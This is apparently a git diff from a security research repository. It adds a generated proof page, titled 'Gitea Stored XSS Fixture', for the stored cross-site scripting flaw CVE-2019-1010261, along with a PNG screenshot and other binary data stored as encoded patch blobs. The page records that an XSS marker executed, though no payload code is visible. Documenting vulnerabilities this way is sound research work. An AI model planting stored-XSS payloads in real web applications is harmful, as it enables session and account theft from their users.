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 + + + Gitea Stored XSS Fixture - proof + + + +
    +

    Gitea Stored XSS Fixture

    +

    Stored payload rendering path for browser proof capture.

    +
    Proof active: stored payload rendered inside the browser proof page
    +

    System: gitea / Family: xss

    + +
    XSS marker executed for gitea--CVE-2019-1010261
    + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2019-1010261-20260318012624/assets/proof.png new file mode 100644 index 0000000000000000000000000000000000000000..034be1aa19b1c75594bfe8cd0a63455f87ea6c86 GIT binary patch literal 37970 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 